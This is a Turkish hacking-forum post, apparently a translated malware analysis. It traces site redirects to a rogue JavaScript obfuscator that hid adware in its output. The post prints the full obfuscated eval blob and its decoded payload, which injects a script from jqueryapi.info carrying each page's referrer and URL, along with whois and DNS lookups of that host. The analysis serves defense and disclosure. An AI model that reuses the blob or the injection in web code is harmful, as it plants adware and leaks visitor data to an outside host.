Hacking Serisi #3 | Dolo Malo - JavaScript Reklam Yazılımına Maruz Kalmak

Provido

Katılımcı Üye
21 Eki 2015
477
1
Oyunun Sonu: Dolo Malo - JavaScript Reklam Yazılımına Maruz Kalmak



İnternetin katı kuralların ve kısıtlamaların olmadığı özgür bir yer olduğunu düşünüyoruz. Bu özgürlük fikirlerin hızlı bir şekilde prototipini oluşturmamıza, iş kurmamıza ve önceden mümkün olmadığını düşündüğümüz şekillerde birbirimizle bilgi alışverişinde bulunmamıza olanak tanır. Ancak bu özgürlüğün birde diğer tarafı var. Çeşitli yetenekleri kapsayan teknoloji meraklısı insanlar, şüphelenmeyen insanları kandırmaya karşı doğal bir tepki gösterirler. Bu dolandırıcılıklar, kötü olandan zararlıya ve ya son derece tekniksellikten işlevselliğe kadar çeşitlilik gösterir.


Bu yazıda son zamanlarda tesadüfen karşılaştığım bir olayı paylaşacağım. Bir arkadaşım web sitesinde dolaşırken ara sıra yönlendirme sorunu yaşadığı için benimle iletişime geçti. Gördüğümüz gibi yönlendirmede beklemediğimiz bir misafir vardı. Hukuk konusunda uzman değilim ve bu yüzden bunun teknik olarak yasa dışı olup olmadığını söyleyemem ama sanırım hepimiz bunun oldukça kaba ve utanmaz bir davranış olduğu konusunda hemfikir olacağız!

Kaynaklar:

A comprehensive (albeit a bit old) resource on conditional redirection - Aw-Snap
JSDetox, Javascript malware analysis and deobfuscation - JSDetox


OMGWTF devam ediyor mu?


Bütün bu hikaye arkadaşımın web sitesine gelen ziyaretçilerin (reklamlara / kötü amaçlı yazılımlara) yönlendirildiğini bana söylemesiyle başladı. İlk başta kötü bir tarayıcı eklentisi veya benzeri bir şey yüklediği için suçlunun kullanıcı olduğunu düşünmüştüm. Ancak sonunda otomatik yönlendirmeyi bir android tarayıcı kullanarak çoğaltabildik.


Şüphelerimi bir kenara bıraktıktan sonra şüpheli olabilecek herhangi bir şey var mı diye webroot'u sürekli olarak taramaya başladım. Ayrıca mevcut webroot'un tüm php ve javascript (jv) eklentilerini yedek kopyalarla değiştirecek tek satırlık bir bash oluşturdum. Bir şeyin çıkacağından emindim ama hiçbir şey çıkmadı…


Ardından içimde ki öfkeyle websitesinde gezinmeye başladım (ve taracıyının ön belleğini temizledim), fakat tüm sayfaların otomatik yönlendirmeden etkilenmediğini fark ettim. Detaylı bir şekilde inceledikten sonra bu sayfaların her birinde karmaşık bir javascript kodu yani bir blob fark ettim. Görünüşe göre arkadaşım javascript kodunun bazı iç işleyişlerini gizlemek için çevrimiçi bir gizleyici kullanıyordu.


Nihayet gerçek suçlu göründü, gizlenmiş blobun kaldırılması yeniden yönlendirmeyi durdurdu. Arkadaşıma Javascript Obfuscatorı kullanarak javascript kodlarını yeniden kodlamasına ve web sayfalarını güncellemesine yardımcı oldum.


Eval()


Bu noktada biraz meraklandım ve artık ilgilendiğim tek şey sorunu çözmek değildi. Bu yön değiştirmenin dibine inmek istedim. Bakalım bu kovboy planını çözebilecek miyiz?

The bad guy: MyObfuscate



x90OJo.png




Bu amacımı test etmek için obfuscatora bazı temel javascript kodları geçirdim.



Kod:
alert('Test!')

Görünüşe göre elimizde insan tarafından okunmayan orantısız şekilde büyük bir girdi var.



Kod:
var lOO='=oQKpkyJ8dCK0lGbwNnLnw3bm5Wa8NmczRXZnx3NywnclJnclZWZyxXZwF2YzVmb1xHZslGaDRmblBHchxXZwF2YzV2X8xmc1xXawFWey
VWdxpGflRXaydHf4IDfmVmc8t2b8RnbJV2cyFGc8BHd0hGf05WZtVGbFVGdhVmcjxHdzVGV3IDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZnxHTSVF
f0BXayN2cDNDf0JXZsFWRzwnchZHfFNDfPBDb8Rnbl1Wdj9GZ8RHcpJ3Yzx3MzwnN3wnNzwXZk92QyFGaD12byZGf1MDfyYDfw8UMfx3QzwHduVmbv
BXbvNUSSVVZk92YuVGfjJ3c8ljM8dmbpJHdTx3Zulmc0N1b0xHc4V0ZlJFf0lGbwNHfsFmdlx3dl5GfmlGflxWaodHflNWYsBXZyxnbyVHdlJHfu9W
a0Nmb1ZGf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHfnwiNy
EDLyYDLnkSK9tHLwwSKnwFfnwFKsFjLnwVTxwHcxwXMyw3TxwXUxw3SxwnSxwnRxw3RxwHSxwXSxwHUxwHVxwHWxwHMywnWxwXWxwnVxwnUxw3Vxw3
UxwXVxwHTxwHbxwHaxwXZxwXaxw3ZxwnZxwnbxwXbxwnaxw3axwncxwXcxw3cxwHRxwXQxwHdxwnQxw3QxwXRxwnexwHf8xHf8xHf8xHf8xHf8xHf8
xHf8xHf8xHf8xHf8xHf8dCXskXMsUXMscCXpkSKnwFXcx3JcxFXoElLnwFXcpFfwEDfxEDfyEDfZxHNxwHV8VFfWx3V8NTM8dTM8FWM8NWM8JWM8RW
M8hTM8lTM8VTM8ZTM8hFfSxHR8VEfGx3Q8NFfHxnQ8lHf6xXQ8dCXcxFL4xCescCXcx1OpkiNoAHKv5SM7kiMo4mL0sTXwsVKnwFXcxFXcxFbnwFXc
xFXcxFKt5SM9QDIzsTKy5SMoUzKnwFXcxFXcxVP1ZyJcxFXcxFXctSK25SMoUzKnwFXcxFXcxVP0ZyJcxFXcxFXctyJcxFXcxFXctWPz9zL35Scv8i
OodCXcxFXcxFX9gjLysTKnwFXcxFXcx1NnwFXcxFXcxFKi5SM9IDIzszJcxFXcxFXcFWJ38SOloWJjVSalcWJmVCZlUWJnwFXcxFXcxVP2AyMnwFXc
hSfwBCT91XKdN2WrxSKnwFXcd2JcxFXscCXcxlYcxFXcxFXcx1JcxFXrkSYoskLjtyJcxFXixFXcxFXcxFXnwFXchiSgkEKN5Cc9A3ep01YbtGKOtX
Kt0yYoA1epQGLlxyasMGLhxCco8EKIdCXo0HcgYWM91XKdN2WrxSKnw1ZnwFLnwlYcxFXcdCXrkyYoU2KnwlYcxFXcdCXo0WMgoWMocWMuAXPwtXKd
N2WrhSaxsXKt0yYogWM70XM9M2O9dCXrcHXcxFXnwlZxsXKoUWM9U2Od1XXltFZgYWM7lSZoUWMb1za9lyYoUGf811YbtWPdlyYoU2WktXKt0yYogW
M7lSKvFDLv41LocWMucCXnwVIokWM70XKpgXMo4WMuMmOpAXMrMGK3FjLvFzP2FjPpEWJj1zYogyKpkSKh9yYo4UMoUmOnw1Jc9TY8MGKmFzepMGKl
FTPltXKkxSZssGLjxSYsAHKlFDKrFzJo0Hcg4mc1RXZy1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKlNWYsBXZy5Cc9A3
ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogyKpkSKh9yYoQnbJ
V2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ';function I1I(data){var IlllOI
="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h
1=IlllOI.indexOf(data.charAt(i++));h2=IlllOI.indexOf(data.charAt(i++));h3=IlllOI.indexOf(data.charAt(i++));h4=Illl
OI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bit
s&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fr
omCharCode(o1,o2,o3)}}while(i<data.length);return enc} function Ill(string){ var ret = '', i = 0;    for ( i = 
string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(I1I(Ill(lOO)));

Bu kodu analiz etmek için JSDetox kullandım. Bu araç ruby ile yazılmıştır, HTML DOM emülasyonunu destekler ve test ettiğim örneklerden bildiğim kadarıyla javascriptin içindekileri çözme konusunda oldukça uzmandır. Alternatif olarak taşınabilir bir Windows sorun gidericisine ihtiyacınız varsa Malzillaya da göz atabilirsiniz. Malzilla biraz eski olsa da yine de çok kullanışlı birçok özelliğe sahip.

Kodu hızlıca hoş bir hale getirebiliriz ve değişkenleri yeniden adlandırırız,ancak dikkat edin bu yaptığımız okunabilirliğe etki etmez!



Kod:
function Var1(data){
 
  var Var2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, enc = '';
   
  do {
    h1 = Var2.indexOf(data.charAt(i++));
    h2 = Var2.indexOf(data.charAt(i++));
    h3 = Var2.indexOf(data.charAt(i++));
    h4 = Var2.indexOf(data.charAt(i++));
    bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
    o1 = bits >> 16 & 255;
    o2 = bits >> 8 & 255;
    o3 = bits & 255;
    if(h3 == 64) {
      enc += String.fromCharCode(o1);
    } else if(h4 == 64) {
      enc += String.fromCharCode(o1, o2);
    } else {
      enc += String.fromCharCode(o1, o2, o3);
    }
  } while(i < data.length);
   
  return enc;
}
 
function Var3(string){
  var ret = '', i = 0;
  for(i = string.length - 1; i >= 0; i--) {
    ret += string.charAt(i);
  }
  return ret;
}
 
eval(Var1(Var3('=oQKpkyJ8dCK0lGbwNnLnw3bm5Wa8NmczRXZnx3NywnclJnclZWZyxXZwF2YzVmb1xHZslGaDRmblBHchxXZwF2YzV2X8xmc1x
XawFWeyVWdxpGflRXaydHf4IDfmVmc8t2b8RnbJV2cyFGc8BHd0hGf05WZtVGbFVGdhVmcjxHdzVGV3IDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZ
nxHTSVFf0BXayN2cDNDf0JXZsFWRzwnchZHfFNDfPBDb8Rnbl1Wdj9GZ8RHcpJ3Yzx3MzwnN3wnNzwXZk92QyFGaD12byZGf1MDfyYDfw8UMfx3Qzw
HduVmbvBXbvNUSSVVZk92YuVGfjJ3c8ljM8dmbpJHdTx3Zulmc0N1b0xHc4V0ZlJFf0lGbwNHfsFmdlx3dl5GfmlGflxWaodHflNWYsBXZyxnbyVHd
lJHfu9Wa0Nmb1ZGf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8x
HfnwiNyEDLyYDLnkSK9tHLwwSKnwFfnwFKsFjLnwVTxwHcxwXMyw3TxwXUxw3SxwnSxwnRxw3RxwHSxwXSxwHUxwHVxwHWxwHMywnWxwXWxwnVxwnU
xw3Vxw3UxwXVxwHTxwHbxwHaxwXZxwXaxw3ZxwnZxwnbxwXbxwnaxw3axwncxwXcxw3cxwHRxwXQxwHdxwnQxw3QxwXRxwnexwHf8xHf8xHf8xHf8x
Hf8xHf8xHf8xHf8xHf8xHf8xHf8dCXskXMsUXMscCXpkSKnwFXcx3JcxFXoElLnwFXcpFfwEDfxEDfyEDfZxHNxwHV8VFfWx3V8NTM8dTM8FWM8NWM
8JWM8RWM8hTM8lTM8VTM8ZTM8hFfSxHR8VEfGx3Q8NFfHxnQ8lHf6xXQ8dCXcxFL4xCescCXcx1OpkiNoAHKv5SM7kiMo4mL0sTXwsVKnwFXcxFXcx
FbnwFXcxFXcxFKt5SM9QDIzsTKy5SMoUzKnwFXcxFXcxVP1ZyJcxFXcxFXctSK25SMoUzKnwFXcxFXcxVP0ZyJcxFXcxFXctyJcxFXcxFXctWPz9zL
35Scv8iOodCXcxFXcxFX9gjLysTKnwFXcxFXcx1NnwFXcxFXcxFKi5SM9IDIzszJcxFXcxFXcFWJ38SOloWJjVSalcWJmVCZlUWJnwFXcxFXcxVP2A
yMnwFXchSfwBCT91XKdN2WrxSKnwFXcd2JcxFXscCXcxlYcxFXcxFXcx1JcxFXrkSYoskLjtyJcxFXixFXcxFXcxFXnwFXchiSgkEKN5Cc9A3ep01Y
btGKOtXKt0yYoA1epQGLlxyasMGLhxCco8EKIdCXo0HcgYWM91XKdN2WrxSKnw1ZnwFLnwlYcxFXcdCXrkyYoU2KnwlYcxFXcdCXo0WMgoWMocWMuA
XPwtXKdN2WrhSaxsXKt0yYogWM70XM9M2O9dCXrcHXcxFXnwlZxsXKoUWM9U2Od1XXltFZgYWM7lSZoUWMb1za9lyYoUGf811YbtWPdlyYoU2WktXK
t0yYogWM7lSKvFDLv41LocWMucCXnwVIokWM70XKpgXMo4WMuMmOpAXMrMGK3FjLvFzP2FjPpEWJj1zYogyKpkSKh9yYo4UMoUmOnw1Jc9TY8MGKmF
zepMGKlFTPltXKkxSZssGLjxSYsAHKlFDKrFzJo0Hcg4mc1RXZy1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKlNWYsBXZ
y5Cc9A3ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogyKpkSKh9
yYoQnbJV2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ')));

Gerçek sihir başlasın! JSDetox kodu çalıştırıyor ve bu durumda şifresi çözülmüş kodları çıkarmak için eval’in olduğu yere kesme noktaları yerleştirdi. Bunun sonucunda, değerlendirmelerden biri ve başka bir şey daha orijinal kutumuza gelir!



x90FJ0.png




Değişkeni yeniden adllandıralım ve obfuscated javascript kodunun neyi çalıştırdığına yakından bakalım.



Kod:
// -=Generates evil URL=-
// encodeURIComponent: This function encodes special characters (including , / ? : @ & = + $ #).
// ********.referrer = Returns the URI of the page that linked to this page.
// ********.URL = Returns the string URL of the HTML ********.
var EvilRequest = ********.createElement('script');
EvilRequest.src = "http://jqueryapi.info/?getsrc=ok&ref=" + encodeURIComponent(********.referrer)
+ '&url=' + encodeURIComponent(********.URL);
 
// -=Injects URL=-
// HeaderEdit: Grabs the <head> element of the page.
// appendChild(EvilRequest): Appends the EvilRequest script element to <head> where it is automatically loaded.
var HeaderEdit = ********.getElementsByTagName('head')[0];
HeaderEdit.appendChild(EvilRequest);
 
// -=Executes our initial code=-
// Finally ********.write is used to execute the legitemate javascript (in this case "alert('Test!')").
********.write(unescape('%3Cscript%3Ealert%28%27Test%21%27%29%3C/script%3E'));

Bunu gizli javascript içeren bir html sayfası oluşturarak ve onu yerel web sunucumuza bırakarak, gelen isteği bir proxy ile durdurarak kolayca doğrulayabiliriz. Aşağıdaki ekran görüntülerinden zararsız javascriptimizin eve telefon etmeye çalıştığını görebiliyoruz!



x909Ky.png




x90fwM.png




Ama bekleyin!



Bu hikaye de hala eksik bir bölüm var. Javascripti deşifre ettikten sonra “jqueryapi.info” nun alan adına bir göz atmak istedim. Whois bilgileri çoğunlukla gereksiz olsa da, alan adının yakın zamanda kurulmuş olduğunu tespit edebiliriz.



Kod:
root@darkside:~# whois jqueryapi.info |egrep 'Creation|Expiry|Registrant'

Creation Date: 2014-02-28T06:26:23Z
Registry Expiry Date: 2015-02-28T06:26:23Z
Registrant ID:CR162077161
Registrant Name:Registration Private
Registrant Organization:Domains By Proxy, LLC
Registrant Street: DomainsByProxy.com
Registrant City:Scottsdale
Registrant State/Province:Arizona
Registrant Postal Code:85260
Registrant Country:US
Registrant Phone:+1.4806242599
Registrant Phone Ext: 
Registrant Fax: +1.4806242598
Registrant Fax Ext: 
Registrant Email:[email protected]

Hızlı bir numaralandırma yaptım ve “jqueryapi.info” sunucusunun Rusya’da olduğunu gördüm.



Kod:
root@darkside:~# host -t any jqueryapi.info

jqueryapi.info has address 188.64.170.17
jqueryapi.info has SOA record ns73.domaincontrol.com. dns.jomax.net. 2014022702 28800 7200 604800 600
jqueryapi.info name server ns74.domaincontrol.com.
jqueryapi.info name server ns73.domaincontrol.com.

root@darkside:~# dig -x 188.64.170.17

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> -x 188.64.170.17
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16578
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;17.170.64.188.in-addr.arpa.    IN      PTR

;; ANSWER SECTION:
17.170.64.188.in-addr.arpa. 604800 IN   PTR     h1net188-64-170-17.h1host.ru.

;; Query time: 756 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)
;; WHEN: Mon Jul  7 07:42:29 2014
;; MSG SIZE  rcvd: 86

Gerçekten ilginç olan kısım ise aynı sunucuda başka hangi web sitelerinin barındırıldığını bulmak için alan adına ters IP araması yaptığımda geldi. Bu sonuçlar ViewDNS kullanılarak çoğaltılabilir.



Kod:
Reverse IP results for jqueryapi.info (188.64.170.17)
==============

There are 21 domains hosted on this server.
The complete listing of these is below:

Domain                              Last Resolved Date
april-broker.com                  2013-12-20
htmlobfuscator.com                2014-05-17
htmlobfuscator.info               2014-07-01
javascript-obfuscator.info        2014-07-01
javascriptcompressor.info         2014-07-01
javascriptcrambler.com              2014-05-17
javascriptobfuscate.com              2014-05-17
javascriptobfuscator.info         2014-07-01
jqueryapi.info                      2014-07-06
myobfuscate.com                      2014-05-17
obfuscatorjavascript.com          2014-05-17
obfuscatorjavascript.info         2014-07-01
promebel21.ru                      2014-05-27
screendepo.com                      2014-05-17
softtrade.ru                      2014-05-27
statistick.info                      2014-07-01
statisticu.info                      2014-07-01
statisticy.info                      2014-07-01
statistiki.info                      2014-07-01
statistiq.info                      2014-07-01
statistiqa.info                      2014-07-01

Hepimiz burada gülmeliyiz ya da somurtmalıyız çünkü bu listede şüpheli bazı domainler var. Hızlıca hepsine baktım ve bütün domainlerin “obfuscate” domainin birebir kopyası olduğunu gördüm. Bu dolandırıcılığın amacı oldukça açık! Burada obfuscate kodunu üreten domainler var ve bu kodlarda reklam yazılımları için tohum görevi görüyorlar. Kodu yükleyen tarayıcılar (2) başka alan adlarına kötü amaçlı yazılımı bulaştırmak için istekte bulunurlar!



Ve oyun bitti



Bu konu da tam bir dönüm noktasına geldik. Yönlendirmeyi tespit etmekten saldırının yöntemini anlamaya ve web sitesinde ki eaklam yazılımını obfuscatoraya bağlamaya geçtik. Sanırım bu internette yaygın olan orta seviye dolandırıcılık türlerinden tipik bir örnek.



Başka kişilerinde faydalanması için aşağıdaki bağlantıları eklemek istiyorum:
Wepawet analysis of the javascript code
Information gathered by VirusTotal on "jqueryapi.info" - buradan



JS_5_Big.png





 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.